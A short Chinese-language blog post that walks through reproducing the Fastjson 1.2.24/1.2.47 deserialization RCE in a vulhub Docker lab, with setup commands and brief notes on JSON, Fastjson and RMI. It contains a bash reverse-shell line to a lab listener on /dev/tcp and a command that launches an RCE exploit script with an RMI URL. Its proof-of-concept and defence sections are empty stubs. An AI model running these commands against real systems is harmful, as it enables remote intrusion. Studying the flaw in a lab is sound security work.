Fastjson反序列化初探

Fastjson反序列化初探
xiujson
完全独立于编程语言的文本格式来存储和表示数据,易于人阅读和编写。同时也易于机器解析和生成。任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型。
fastjson(alibaba)
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象。
环境搭建
docker
换源
apt-get install docker
apt-get install docker-compose
reboot
service docker start
vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub
cd fastjson
cd 1.2.24-rce
docker-compose up -d
8090端口
利用过程
判断是否使用fastjson
首先将get方式修改为post
kali服务器主机搭建靶场:192.168.64.138
克隆主机搭建rmi:192.168.64.143
克隆主机监听:192.168.64.143
1 | bash -i >& /dev/tcp/192.168.64.143/6666 0>&1 |
攻击
1 | python3 fastjson-1.2.47_rce.py http://192.168.64.138:8090 rmi://192.168.64.143:9998/Object |
成功
poc
1 | 1.2.24 |
rmi
RMI是Java的一组拥护开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议(Java Remote Method Protocol)。
防护
神奇的L;
1 | •v1.2.47 |